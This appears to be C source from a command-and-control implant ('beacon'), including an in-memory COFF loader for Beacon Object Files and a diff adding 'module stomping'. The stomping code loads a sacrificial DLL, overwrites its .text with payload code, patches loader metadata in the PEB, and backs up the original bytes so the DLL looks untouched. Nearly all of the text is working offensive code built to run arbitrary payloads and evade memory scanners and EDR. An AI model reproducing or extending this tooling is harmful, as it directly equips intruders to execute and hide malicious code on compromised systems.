* that REL32 displacements stay within ±2 GB. STOMP: NaxBofStompAlloc uses
* StompAllocNear to place non-.text sections + mapFunctions adjacent to the
* DLL image (also within ±2 GB).
* image_base = MINIMUM section address so all ADDR32NB RVAs are non-negative. */
#define BOF_ALLOC_FLAGS (MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN)
/* Allocate mapFunctions AFTER sections so all allocations land in the same
* memory region. Allocating it first (with MEM_TOP_DOWN) places it at
* 0x7FF8... while sections land at 0x1ECEC... - 6TB apart, 32-bit REL32
* overflows. Allocating last keeps everything within ~400KB of each other. */
static INT NaxBofAllocSections( PNAX_INSTANCE Nax, PBYTE bof,
PCOF_HEADER hdr, PCOF_SECTION sections,
PVOID* mapSections, PVOID* mf_out,
BOOL* stomped ) {
NaxDbg( Nax, "[bof] alloc: NtAllocVMem=%p", Nax->Ntdll.NtAllocateVirtualMemory );
if ( NaxBofStompAlloc( Nax, bof, hdr, sections, mapSections, mf_out ) ) {
*stomped = TRUE;
NaxDbg( Nax, "[bof] stomp mapFunctions=%p", *mf_out );
return NAX_OK;
}
*stomped = FALSE;
for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) {
PCOF_SECTION s = sections + i;
/* Use VirtualSize for sections with no raw data (.bss = zero-init globals).
* Without this, .bss is NULL and BOF globals that should be 0 at entry
* are at garbage/NULL addresses → corrupted counters, crashes. */
UINT32 raw_size = s->SizeOfRawData;
UINT32 virt_size = s->VirtualSize;
UINT32 need = ( raw_size > 0 ) ? raw_size : virt_size;
if ( need == 0 ) {
mapSections[i] = NULL;
NaxDbg( Nax, "[bof] sec[%d] '%.8s' skip (raw=%u virt=%u)",
(INT)i, s->Name, raw_size, virt_size );
continue;
}
PVOID base = NULL;
SIZE_T alloc = (SIZE_T)need + 16;
NTSTATUS st = Nax->Ntdll.NtAllocateVirtualMemory( NtCurrentProcess(), &base, 0, &alloc, BOF_ALLOC_FLAGS, PAGE_EXECUTE_READWRITE );
NaxDbg( Nax, "[bof] sec[%d] '%.8s' alloc raw=%u virt=%u -> %p (st=0x%x)",
(INT)i, s->Name, raw_size, virt_size, base, (UINT32)st );
if ( !NT_SUCCESS( st ) ) {
for ( UINT16 j = 0; j < i; j++ ) {
if ( mapSections[j] ) {
SIZE_T sz = 0; PVOID b = mapSections[j];
Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &b, &sz, MEM_RELEASE );
mapSections[j] = NULL;
}
}
return NAX_ERR_FAIL;
}
mapSections[i] = base;
/* Copy raw bytes for ALL sections that have them, including writable (.data).
* NtAllocateVirtualMemory zero-initialises; for .bss-style sections
* (raw=0, virt>0) there is nothing to copy and they stay zeroed.
* Do NOT skip writable sections: initialized globals belong in .data and
* zeroing them corrupts the BOF's startup state. */
if ( s->PointerToRawData && raw_size )
MmCopy( base, bof + s->PointerToRawData, raw_size );
}
/* Allocate mapFunctions AFTER all sections so it lands in the same
* memory region (within ~400 KB of .text, safe for 32-bit REL32). */
PVOID mf = NULL;
SIZE_T mfs = 4096;
Nax->Ntdll.NtAllocateVirtualMemory( NtCurrentProcess(), &mf, 0, &mfs, BOF_ALLOC_FLAGS, PAGE_EXECUTE_READWRITE );
if ( mf ) MmZero( mf, mfs );
*mf_out = mf;
NaxDbg( Nax, "[bof] mapFunctions=%p (dist from .text: 0x%llx)",
mf, mf ? (unsigned long long)((ULONG_PTR)mf - (ULONG_PTR)mapSections[0]) : 0 );
return NAX_OK;
}
/* ========= [ cleanup ] ========= */
static VOID NaxBofCleanupSections( PNAX_INSTANCE Nax, PVOID* mapSections,
UINT16 numSections, BOOL stomped ) {
if ( stomped ) {
NaxBofStompFree( Nax, mapSections, numSections );
return;
}
for ( UINT16 i = 0; i < numSections && i < BOF_MAX_SECTIONS; i++ ) {
if ( mapSections[i] ) {
PVOID base = mapSections[i];
SIZE_T sz = 0;
Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &base, &sz, MEM_RELEASE );
mapSections[i] = NULL;
}
}
}
/* ========= [ relocation processing ] ========= */
/* mapFunctions: MEM_TOP_DOWN buffer for external-symbol IAT slots.
* External REL32 calls (FF 15, __imp__*) patch the displacement to point here.
* *mf_idx tracks the next free 8-byte slot. */
static INT NaxBofProcessRelocations( PNAX_INSTANCE Nax, PBYTE bof,
PCOF_HEADER hdr, PCOF_SECTION sections,
PCOF_SYMBOL symtab, PCHAR strtab,
PVOID* mapSections,
NAX_BOF_API* bofApiTable,
PUINT64 mapFunctions, UINT32* mf_idx,
ULONG_PTR image_base ) {
for ( UINT16 si = 0; si < hdr->NumberOfSections && si < BOF_MAX_SECTIONS; si++ ) {
PCOF_SECTION s = sections + si;
if ( !s->NumberOfRelocations || !s->PointerToRelocations ) continue;
if ( !mapSections[si] ) continue;
NaxDbg( Nax, "[bof] reloc sec[%d] '%.8s' %u relocs", (INT)si, s->Name, (UINT32)s->NumberOfRelocations );
PCOF_RELOCATION relocs = (PCOF_RELOCATION)( bof + s->PointerToRelocations );
for ( UINT16 ri = 0; ri < s->NumberOfRelocations; ri++ ) {
PCOF_RELOCATION r = relocs + ri;
PCOF_SYMBOL sym = symtab + r->SymbolTableIndex;
PBYTE loc = (PBYTE)mapSections[si] + r->VirtualAddress;
PVOID sym_addr = NULL;
if ( sym->SectionNumber > 0 ) {
INT secIdx = sym->SectionNumber - 1;
if ( secIdx >= BOF_MAX_SECTIONS || !mapSections[secIdx] ) continue;
sym_addr = (PVOID)( (ULONG_PTR)mapSections[secIdx] + sym->Value );
} else {
PCHAR name = SymName( sym, strtab );
/* Skip __imp_ prefix (6 bytes) */
if ( name[0] == '_' && name[1] == '_' &&
name[2] == 'i' && name[3] == 'm' &&
name[4] == 'p' && name[5] == '_' )
name += 6;
sym_addr = NaxBofResolveExternal( Nax, name, bofApiTable );
if ( !sym_addr ) {
UINT32 nlen = NaxStrLen( name );
NaxDbg( Nax, "[bof] UNRESOLVED symbol: '%s'", name );
BeaconOutput( CALLBACK_ERROR, name, (INT)nlen );
return NAX_ERR_FAIL;
}
}
/* Apply relocation patch */
switch ( r->Type ) {
#if defined(__x86_64__) || defined(_WIN64)
case IMAGE_REL_AMD64_ADDR64:
*((UINT64*)loc) += (UINT64)(ULONG_PTR)sym_addr;
break;
case IMAGE_REL_AMD64_ADDR32NB: {
/* RVA relative to image_base (the lowest allocated section address).
* Using the minimum address ensures all RVAs are non-negative UINT32.
* With MEM_TOP_DOWN, .text is at the HIGHEST address; using mapSections[0]
* instead would produce negative values for all sections below .text,
* which corrupts .pdata RUNTIME_FUNCTION UnwindInfoAddress entries and
* makes exception dispatch crash rather than unwind correctly. */
INT32 cur;
MmCopy( &cur, loc, 4 );
cur += (INT32)( (ULONG_PTR)sym_addr - image_base );
MmCopy( loc, &cur, 4 );
break;
}
case IMAGE_REL_AMD64_REL32:
case IMAGE_REL_AMD64_REL32_1:
case IMAGE_REL_AMD64_REL32_2:
case IMAGE_REL_AMD64_REL32_3:
case IMAGE_REL_AMD64_REL32_4:
case IMAGE_REL_AMD64_REL32_5: {
UINT32 delta = r->Type - IMAGE_REL_AMD64_REL32;
INT32 addend = 0;
/* COFF spec: the 4 bytes at the relocation site are a signed addend.
* Both COFFLoader and Kharon include it in the displacement formula.
* Omitting it produces wrong addresses for any non-zero addend
* (e.g. RIP-relative access to the middle of a static array). */
MmCopy( &addend, loc, 4 );
PVOID target;
if ( sym->SectionNumber > 0 || !mapFunctions ) {
target = sym_addr;
} else {
/* External symbol via __imp_* (DECLSPEC_IMPORT, FF15 indirect call).
* Store the 64-bit function VA in the next mapFunctions slot.
* The disp32 points to that slot - one extra indirection, but the
* slot is in the same TOP_DOWN range so the ±2 GB limit is safe. */
if ( *mf_idx < 512 ) {
mapFunctions[ *mf_idx ] = (UINT64)(ULONG_PTR)sym_addr;
target = (PVOID)( mapFunctions + *mf_idx );
(*mf_idx)++;
} else {
target = sym_addr;
}
}
*((UINT32*)loc) = (UINT32)( addend + (ULONG_PTR)target
- (ULONG_PTR)( loc + 4 + delta ) );
break;
}
#else
case IMAGE_REL_I386_DIR32:
*((UINT32*)loc) += (UINT32)(ULONG_PTR)sym_addr;
break;
case IMAGE_REL_I386_REL32:
*((UINT32*)loc) += (UINT32)( (ULONG_PTR)sym_addr - (ULONG_PTR)( loc + 4 ) );
break;
#endif
default:
NaxDbg( Nax, "[bof] unknown reloc type 0x%x in sec[%d]", (UINT32)r->Type, (INT)si );
break;
}
}
}
return NAX_OK;
}
/* ========= [ entry point search ] ========= */
static PVOID NaxBofFindEntry( PNAX_INSTANCE Nax, PCOF_HEADER hdr, PCOF_SYMBOL symtab,
PCHAR strtab, PVOID* mapSections ) {
for ( UINT32 i = 0; i < hdr->NumberOfSymbols; i++ ) {
PCOF_SYMBOL sym = symtab + i;
if ( sym->SectionNumber <= 0 ) {
i += sym->NumberOfAuxSymbols;
continue;
}
PCHAR name = SymName( sym, strtab );
BOOL match = ( name[0] == 'g' && name[1] == 'o' && name[2] == '\0' );
#if !defined(__x86_64__) && !defined(_WIN64)
if ( !match )
match = ( name[0] == '_' && name[1] == 'g' && name[2] == 'o' && name[3] == '\0' );
#endif
if ( match ) {
INT secIdx = sym->SectionNumber - 1;
if ( secIdx < BOF_MAX_SECTIONS && mapSections[secIdx] ) {
PVOID entry = (PVOID)( (ULONG_PTR)mapSections[secIdx] + sym->Value );
NaxDbg( Nax, "[bof] entry 'go' found: sec[%d]+0x%x = %p", secIdx, (UINT32)sym->Value, entry );
return entry;
}
}
i += sym->NumberOfAuxSymbols;
}
NaxDbg( Nax, "[bof] entry 'go' NOT FOUND in %u symbols", (UINT32)hdr->NumberOfSymbols );
return NULL;
}
/* ========= [ public entry point ] ========= */
FUNC INT NaxBofExecute( PNAX_INSTANCE Nax,
PBYTE bof, UINT32 bof_size,
PBYTE user_args, UINT32 user_args_size ) {
if ( bof_size < sizeof( COF_HEADER ) ) return NAX_ERR_WIRE;
PCOF_HEADER hdr = (PCOF_HEADER)bof;
PCOF_SECTION sections = (PCOF_SECTION)( bof + sizeof( COF_HEADER ) );
PCOF_SYMBOL symtab = (PCOF_SYMBOL)( bof + hdr->PointerToSymbolTable );
PCHAR strtab = (PCHAR)( symtab + hdr->NumberOfSymbols );
NaxDbg( Nax, "[bof] execute: %u bytes machine=0x%04x sections=%u symbols=%u",
bof_size, (UINT32)hdr->Machine, (UINT32)hdr->NumberOfSections, (UINT32)hdr->NumberOfSymbols );
if ( hdr->Machine != COF_MACHINE_AMD64 ) {
NaxDbg( Nax, "[bof] wrong machine type 0x%04x (expected 0x8664)", (UINT32)hdr->Machine );
return NAX_ERR_INVAL;
}
NAX_BOF_API bofApiTable[ NAX_BOF_API_COUNT ];
NaxBofInitApiTable( bofApiTable, Nax );
PVOID mapSections[ BOF_MAX_SECTIONS ];
MmZero( mapSections, sizeof( mapSections ) );
PVOID mf_base = NULL;
UINT32 mf_idx = 0;
BOOL stomped = FALSE;
/* ---- 1. allocate sections + mapFunctions (all via AllocSections) ---- */
NaxDbg( Nax, "[bof] step 1: alloc sections" );
if ( NaxBofAllocSections( Nax, bof, hdr, sections, mapSections, &mf_base, &stomped ) != NAX_OK ) {
NaxDbg( Nax, "[bof] alloc FAILED" );
BeaconOutput( CALLBACK_ERROR, "alloc", 5 );
return NAX_ERR_FAIL;
}
NaxDbg( Nax, "[bof] step 1: alloc OK (stomped=%d)", (INT)stomped );
/* Compute image_base = lowest allocated section address.
* MEM_TOP_DOWN gives .text (sec[0]) the highest address; all other sections
* are below it. image_base is the floor so all ADDR32NB RVAs are positive. */
ULONG_PTR image_base = (ULONG_PTR)~0ULL;
for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) {
if ( mapSections[i] && (ULONG_PTR)mapSections[i] < image_base )
image_base = (ULONG_PTR)mapSections[i];
}
if ( mf_base && (ULONG_PTR)mf_base < image_base )
image_base = (ULONG_PTR)mf_base;
NaxDbg( Nax, "[bof] image_base=%p (.text offset from base=0x%llx)",
(PVOID)image_base, (unsigned long long)( (ULONG_PTR)mapSections[0] - image_base ) );
/* ---- 2. process relocations ---- */
NaxDbg( Nax, "[bof] step 2: process relocations" );
if ( NaxBofProcessRelocations( Nax, bof, hdr, sections,
symtab, strtab, mapSections, bofApiTable,
(PUINT64)mf_base, &mf_idx, image_base ) != NAX_OK ) {
NaxDbg( Nax, "[bof] reloc FAILED" );
NaxBofCleanupSections( Nax, mapSections, hdr->NumberOfSections, stomped );
if ( mf_base ) { SIZE_T z=0; PVOID b=mf_base; Nax->Ntdll.NtFreeVirtualMemory(NtCurrentProcess(),&b,&z,MEM_RELEASE); }
return NAX_ERR_FAIL;
}
NaxDbg( Nax, "[bof] reloc OK (mapFunctions used=%u slots)", mf_idx );
/* ---- 3. register BOF .pdata for clean stack unwinding (stomp) ----
* Must run BEFORE NaxBofStompProtect flips .text to RX, because
* NaxBofStompPdata copies xdata into the tail of the .text section. */
PRUNTIME_FUNCTION pdataTable = NULL;
DWORD pdataCount = 0;
BOOL pdataInDll = FALSE;
if ( stomped ) {
for ( UINT16 pi = 0; pi < hdr->NumberOfSections && pi < BOF_MAX_SECTIONS; pi++ ) {
PCOF_SECTION ps = sections + pi;
if ( ps->Name[0] == '.' && ps->Name[1] == 'p' && ps->Name[2] == 'd' &&
ps->Name[3] == 'a' && ps->Name[4] == 't' && ps->Name[5] == 'a' &&
mapSections[pi] && ps->SizeOfRawData >= 12 ) {
pdataTable = (PRUNTIME_FUNCTION)mapSections[pi];
pdataCount = ps->SizeOfRawData / sizeof( RUNTIME_FUNCTION );
/* Locate xdata section via first .pdata entry's UnwindData */
PVOID xdataBase = NULL;
ULONG xdataSize = 0;
ULONG_PTR firstUnwindVA = image_base + pdataTable[0].UnwindData;
for ( UINT16 xi = 0; xi < hdr->NumberOfSections && xi < BOF_MAX_SECTIONS; xi++ ) {
if ( !mapSections[xi] ) continue;
UINT32 secSz = sections[xi].SizeOfRawData;
if ( secSz == 0 ) secSz = sections[xi].VirtualSize;
if ( firstUnwindVA >= (ULONG_PTR)mapSections[xi] &&
firstUnwindVA < (ULONG_PTR)mapSections[xi] + secSz ) {
xdataBase = mapSections[xi];
xdataSize = secSz;
break;
}
}
pdataInDll = NaxBofStompPdata( Nax, pdataTable, pdataCount, image_base,
xdataBase, xdataSize );
if ( !pdataInDll )
Nax->Ntdll.RtlAddFunctionTable( pdataTable, pdataCount, (DWORD64)image_base );
NaxDbg( Nax, "[bof] .pdata %s: %u entries base=%p xdata=%p(%u)",
pdataInDll ? "injected into DLL" : "registered dynamic",
pdataCount, (PVOID)image_base, xdataBase, xdataSize );
break;
}
}
}
/* ---- 3b. set final memory protections ---- */
if ( stomped ) {
NaxBofStompProtect( Nax, mapSections, hdr->NumberOfSections, sections );
NaxDbg( Nax, "[bof] step 3b: stomp protections OK (.text=RX, rest=RW)" );
} else {
/* Blanket RWX - fine-grained RX/RO crashes: unwind machinery may write
* through .pdata/.xdata before control reaches the first BOF call. */
NaxDbg( Nax, "[bof] step 3b: set PAGE_EXECUTE_READWRITE on all sections" );
for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) {
if ( !mapSections[i] ) continue;
PVOID base = mapSections[i];
SIZE_T sz = (SIZE_T)( sections[i].SizeOfRawData + 16 );
ULONG old = 0;
NTSTATUS st = Nax->Ntdll.NtProtectVirtualMemory( NtCurrentProcess(), &base, &sz, PAGE_EXECUTE_READWRITE, &old );
NaxDbg( Nax, "[bof] sec[%d] '%.8s' RWX st=0x%x", (INT)i, sections[i].Name, (UINT32)st );
}
NaxDbg( Nax, "[bof] step 3b: protections OK" );
}
/* ---- 4. find entry point ---- */
NaxDbg( Nax, "[bof] step 4: find 'go'" );
PVOID entry = NaxBofFindEntry( Nax, hdr, symtab, strtab, mapSections );
if ( !entry ) {
NaxDbg( Nax, "[bof] entry FAILED" );
if ( pdataTable && !pdataInDll ) Nax->Ntdll.RtlDeleteFunctionTable( pdataTable );
NaxBofCleanupSections( Nax, mapSections, hdr->NumberOfSections, stomped );
if ( mf_base ) { SIZE_T _z=0; PVOID _b=mf_base; Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &_b, &_z, MEM_RELEASE ); }
BeaconOutput( CALLBACK_ERROR, "go", 2 );
return NAX_ERR_FAIL;
}
NaxDbg( Nax, "[bof] entry OK: %p", entry );
/* Record stomp metadata for operator feedback */
Nax->BofCtx.Stomped = stomped ? 0x01 : 0x00;
Nax->BofCtx.StompSlot = stomped ? ( Nax->CurrentJob ? Nax->CurrentJob->StompSlotIdx : 0xFF ) : 0x00;
/* ---- 5. execute BOF ---- */
if ( stomped && Nax->CfgEnabled ) {
BOF_STOMP_SLOT* cfgSlot = NULL;
if ( Nax->BofStompPool.SmStompReq )
cfgSlot = &Nax->BofStompPool.SmSlot;
else if ( Nax->CurrentJob == NULL )
cfgSlot = &Nax->BofStompPool.SyncSlot;
else if ( Nax->CurrentJob->StompSlotIdx < Nax->BofStompPool.AsyncCount )
cfgSlot = &Nax->BofStompPool.AsyncSlots[ Nax->CurrentJob->StompSlotIdx ];
if ( cfgSlot )
NaxCfgAddTarget( Nax, cfgSlot->DllBase, entry );
}
NaxDbg( Nax, "[bof] calling go(%p, %u)", user_args, user_args_size );
void ( *go )( char*, unsigned long ) = (void(*)( char*, unsigned long ))entry;
go( (char*)user_args, (unsigned long)user_args_size );
NaxDbg( Nax, "[bof] go returned, output=%u bytes", Nax->BofCtx.Len );
if ( pdataTable && !pdataInDll ) Nax->Ntdll.RtlDeleteFunctionTable( pdataTable );
/* ---- 6. cleanup ---- */
NaxBofCleanupSections( Nax, mapSections, hdr->NumberOfSections, stomped );
if ( mf_base ) {
SIZE_T _z = 0; PVOID _b = mf_base;
Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &_b, &_z, MEM_RELEASE );
}
NaxDbg( Nax, "[bof] done" );
return NAX_OK;
}
/* ========= [ resident BOF: load + keep alive ] ========= */
/* Find a named symbol (e.g. "sleep_mask") instead of hardcoded "go". */
static PVOID NaxBofFindSymbol( PNAX_INSTANCE Nax, PCOF_HEADER hdr, PCOF_SYMBOL symtab,
PCHAR strtab, PVOID* mapSections, PCHAR target ) {
UINT32 tlen = NaxStrLen( target );
for ( UINT32 i = 0; i < hdr->NumberOfSymbols; i++ ) {
PCOF_SYMBOL sym = symtab + i;
if ( sym->SectionNumber <= 0 ) {
i += sym->NumberOfAuxSymbols;
continue;
}
PCHAR name = SymName( sym, strtab );
BOOL match = TRUE;
for ( UINT32 k = 0; k <= tlen; k++ ) {
if ( name[k] != target[k] ) { match = FALSE; break; }
}
if ( match ) {
INT secIdx = sym->SectionNumber - 1;
if ( secIdx < BOF_MAX_SECTIONS && mapSections[secIdx] ) {
PVOID entry = (PVOID)( (ULONG_PTR)mapSections[secIdx] + sym->Value );
NaxDbg( Nax, "[bof] symbol '%s' found: sec[%d]+0x%x = %p", target, secIdx, (UINT32)sym->Value, entry );
return entry;
}
}
i += sym->NumberOfAuxSymbols;
}
NaxDbg( Nax, "[bof] symbol '%s' NOT FOUND", target );
return NULL;
}
FUNC PVOID NaxBofLoadResident( PNAX_INSTANCE Nax,
PBYTE bof, UINT32 bof_size,
PCHAR sym_name ) {
if ( bof_size < sizeof( COF_HEADER ) ) return NULL;
NaxBofFreeResident( Nax );
PCOF_HEADER hdr = (PCOF_HEADER)bof;
PCOF_SECTION sections = (PCOF_SECTION)( bof + sizeof( COF_HEADER ) );
PCOF_SYMBOL symtab = (PCOF_SYMBOL)( bof + hdr->PointerToSymbolTable );
PCHAR strtab = (PCHAR)( symtab + hdr->NumberOfSymbols );
NaxDbg( Nax, "[bof-resident] load: %u bytes sections=%u symbols=%u",
bof_size, (UINT32)hdr->NumberOfSections, (UINT32)hdr->NumberOfSymbols );
if ( hdr->Machine != COF_MACHINE_AMD64 ) return NULL;
NAX_BOF_API bofApiTable[ NAX_BOF_API_COUNT ];
NaxBofInitApiTable( bofApiTable, Nax );
PVOID mapSections[ BOF_MAX_SECTIONS ];
MmZero( mapSections, sizeof( mapSections ) );
PVOID mf_base = NULL;
UINT32 mf_idx = 0;
BOOL stomped = FALSE;
/* Route alloc/protect/pdata/free to the dedicated SmSlot */
Nax->BofStompPool.SmStompReq = TRUE;
if ( NaxBofAllocSections( Nax, bof, hdr, sections, mapSections, &mf_base, &stomped ) != NAX_OK ) {
NaxDbg( Nax, "[bof-resident] alloc FAILED" );
Nax->BofStompPool.SmStompReq = FALSE;
return NULL;
}
ULONG_PTR image_base = (ULONG_PTR)~0ULL;
for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) {
if ( mapSections[i] && (ULONG_PTR)mapSections[i] < image_base )
image_base = (ULONG_PTR)mapSections[i];
}
if ( mf_base && (ULONG_PTR)mf_base < image_base )
image_base = (ULONG_PTR)mf_base;
if ( NaxBofProcessRelocations( Nax, bof, hdr, sections,
symtab, strtab, mapSections, bofApiTable,
(PUINT64)mf_base, &mf_idx, image_base ) != NAX_OK ) {
NaxBofCleanupSections( Nax, mapSections, hdr->NumberOfSections, stomped );
if ( mf_base ) { SIZE_T z=0; PVOID b=mf_base; Nax->Ntdll.NtFreeVirtualMemory(NtCurrentProcess(),&b,&z,MEM_RELEASE); }
Nax->BofStompPool.SmStompReq = FALSE;
return NULL;
}
/* register .pdata */
PRUNTIME_FUNCTION pdataTable = NULL;
DWORD pdataCount = 0;
BOOL pdataInDll = FALSE;
if ( stomped ) {
for ( UINT16 pi = 0; pi < hdr->NumberOfSections && pi < BOF_MAX_SECTIONS; pi++ ) {
PCOF_SECTION ps = sections + pi;
if ( ps->Name[0] == '.' && ps->Name[1] == 'p' && ps->Name[2] == 'd' &&
ps->Name[3] == 'a' && ps->Name[4] == 't' && ps->Name[5] == 'a' &&
mapSections[pi] && ps->SizeOfRawData >= 12 ) {
pdataTable = (PRUNTIME_FUNCTION)mapSections[pi];
pdataCount = ps->SizeOfRawData / sizeof( RUNTIME_FUNCTION );
PVOID xdataBase = NULL;
ULONG xdataSize = 0;
ULONG_PTR firstUnwindVA = image_base + pdataTable[0].UnwindData;
for ( UINT16 xi = 0; xi < hdr->NumberOfSections && xi < BOF_MAX_SECTIONS; xi++ ) {
if ( !mapSections[xi] ) continue;
UINT32 secSz = sections[xi].SizeOfRawData;
if ( secSz == 0 ) secSz = sections[xi].VirtualSize;
if ( firstUnwindVA >= (ULONG_PTR)mapSections[xi] &&
firstUnwindVA < (ULONG_PTR)mapSections[xi] + secSz ) {
xdataBase = mapSections[xi];
xdataSize = secSz;
break;
}
}
pdataInDll = NaxBofStompPdata( Nax, pdataTable, pdataCount, image_base,
xdataBase, xdataSize );
if ( !pdataInDll )
Nax->Ntdll.RtlAddFunctionTable( pdataTable, pdataCount, (DWORD64)image_base );
break;
}
}
}
/* set protections */
if ( stomped ) {
NaxBofStompProtect( Nax, mapSections, hdr->NumberOfSections, sections );
} else {
for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) {
if ( !mapSections[i] ) continue;
PVOID base = mapSections[i];
SIZE_T sz = (SIZE_T)( sections[i].SizeOfRawData + 16 );
ULONG old = 0;
Nax->Ntdll.NtProtectVirtualMemory( NtCurrentProcess(), &base, &sz,
PAGE_EXECUTE_READWRITE, &old );
}
}
/* find named symbol */
PVOID entry = NaxBofFindSymbol( Nax, hdr, symtab, strtab, mapSections, sym_name );
if ( !entry ) {
if ( pdataTable && !pdataInDll ) Nax->Ntdll.RtlDeleteFunctionTable( pdataTable );
NaxBofCleanupSections( Nax, mapSections, hdr->NumberOfSections, stomped );
if ( mf_base ) { SIZE_T z=0; PVOID b=mf_base; Nax->Ntdll.NtFreeVirtualMemory(NtCurrentProcess(),&b,&z,MEM_RELEASE); }
Nax->BofStompPool.SmStompReq = FALSE;
return NULL;
}
Nax->BofStompPool.SmStompReq = FALSE;
/* persist state for later cleanup */
for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ )
Nax->ResidentSections[i] = mapSections[i];
Nax->ResidentNumSections = hdr->NumberOfSections;
Nax->ResidentMapFunc = mf_base;
Nax->ResidentStomped = stomped;
Nax->ResidentPdata = pdataTable;
Nax->ResidentPdataCount = pdataCount;
Nax->ResidentPdataInDll = pdataInDll;
NaxDbg( Nax, "[bof-resident] loaded '%s' at %p (stomped=%d sm_slot=%d)",
sym_name, entry, (INT)stomped, (INT)(stomped && Nax->BofStompPool.SmSlot.InUse) );
return entry;
}
FUNC VOID NaxBofFreeResident( PNAX_INSTANCE Nax ) {
if ( !Nax->ResidentNumSections )
return;
NaxDbg( Nax, "[bof-resident] freeing" );
/* Un-gate APIs BEFORE cleanup - NaxBofStompFree calls VirtualProtect
on the SmSlot .text where the sleepmask code lives. If VP is gated
the sleepmask would VirtualProtect its own page to RW, removing
execute permission, then DEP-crash on the next instruction.
NaxSleepmaskWire re-gates them when a new BOF is loaded. */
NaxGateUnwireAll( Nax );
/* Route cleanup to SmSlot if the resident was stomped there */
Nax->BofStompPool.SmStompReq = TRUE;
if ( Nax->ResidentPdata && !Nax->ResidentPdataInDll )
Nax->Ntdll.RtlDeleteFunctionTable( Nax->ResidentPdata );
NaxBofCleanupSections( Nax, Nax->ResidentSections,
Nax->ResidentNumSections, Nax->ResidentStomped );
if ( Nax->ResidentMapFunc ) {
SIZE_T z = 0; PVOID b = Nax->ResidentMapFunc;
Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &b, &z, MEM_RELEASE );
}
Nax->BofStompPool.SmStompReq = FALSE;
MmZero( Nax->ResidentSections, sizeof( Nax->ResidentSections ) );
Nax->ResidentNumSections = 0;
Nax->ResidentMapFunc = NULL;
Nax->ResidentStomped = FALSE;
Nax->ResidentPdata = NULL;
Nax->ResidentPdataCount = 0;
Nax->ResidentPdataInDll = FALSE;
}
+432
View File
@@ -0,0 +1,432 @@
/* beacon/src/Bof/Stomp.c
* BOF module stomping - execute BOF .text from image-backed memory.
*
* LoadLibraryExW(DONT_RESOLVE_DLL_REFERENCES) loads a sacrificial DLL without
* calling DllMain or resolving imports, giving us a clean IMG-backed .text
* section to stomp with BOF code. .text gets RW during setup, RX for exec;
* non-.text sections stay in private PAGE_READWRITE memory. */
#include "Macros.h"
#include "Instance.h"
#include "Bof.h"
#include "LdrFlags.h"
/* ========= [ helpers ] ========= */
static VOID StompPatchLdr( BOF_STOMP_SLOT* slot ) {
PNAX_PEB Peb = NaxCurrentPeb();
PLIST_ENTRY Head = &Peb->Ldr->InLoadOrderModuleList;
PLIST_ENTRY Cur = Head->Flink;
while ( Cur != Head ) {
PNAX_LDR_ENTRY Entry = (PNAX_LDR_ENTRY)Cur;
if ( Entry->DllBase == slot->DllBase ) {
Entry->EntryPoint = C_PTR( U_PTR( slot->DllBase ) + slot->Nt->OptionalHeader.AddressOfEntryPoint );
Entry->Flags |= LDRP_IMAGE_DLL | LDRP_LOAD_NOTIFICATIONS_SENT |
LDRP_PROCESS_STATIC_IMPORT | LDRP_ENTRY_PROCESSED;
return;
}
Cur = Cur->Flink;
}
}
static BOOL StompInitSlot( PNAX_INSTANCE Nax, PWCHAR dllName, BOF_STOMP_SLOT* slot ) {
HMODULE hDll = Nax->Kernel32.LoadLibraryExW( dllName, NULL, DONT_RESOLVE_DLL_REFERENCES );
if ( !hDll ) {
NaxDbg( Nax, "[bof-stomp] LoadLibraryExW failed for DLL" );
return FALSE;
}
slot->DllBase = (PVOID)hDll;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hDll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)( (PBYTE)hDll + dos->e_lfanew );
slot->Nt = nt;
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION( nt );
for ( UINT16 i = 0; i < nt->FileHeader.NumberOfSections; i++ ) {
if ( sec[i].Name[0] == '.' && sec[i].Name[1] == 't' &&
sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' &&
sec[i].Name[4] == 't' ) {
slot->TextBase = (PVOID)( (PBYTE)hDll + sec[i].VirtualAddress );
slot->TextCap = sec[i].SizeOfRawData;
if ( slot->TextCap == 0 )
slot->TextCap = sec[i].Misc.VirtualSize;
slot->InUse = FALSE;
/* Back up original .text so the DLL looks untouched between executions */
slot->TextBackup = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, slot->TextCap );
if ( slot->TextBackup )
MmCopy( slot->TextBackup, slot->TextBase, slot->TextCap );
/* Cache .pdata location and back up original content.
* .pdata is zeroed per-execution so dynamic RtlAddFunctionTable
* entries take priority, then restored when the BOF finishes. */
PIMAGE_DATA_DIRECTORY exDir = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
if ( exDir->VirtualAddress && exDir->Size ) {
slot->PdataBase = (PVOID)( (PBYTE)hDll + exDir->VirtualAddress );
slot->PdataSize = exDir->Size;
slot->PdataBackup = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, exDir->Size );
if ( slot->PdataBackup )
MmCopy( slot->PdataBackup, slot->PdataBase, exDir->Size );
}
StompPatchLdr( slot );
NaxDbg( Nax, "[bof-stomp] slot: dll=%p .text=%p cap=%u", hDll, slot->TextBase, slot->TextCap );
return TRUE;
}
}
Nax->Kernel32.FreeLibrary( hDll );
slot->DllBase = NULL;
NaxDbg( Nax, "[bof-stomp] no .text section found" );
return FALSE;
}
/* ========= [ near allocator ] ========= */
/* Allocate 'need' bytes within ±16 MB of the stomp DLL image.
* Keeps REL32 displacements from .text well within ±2 GB. */
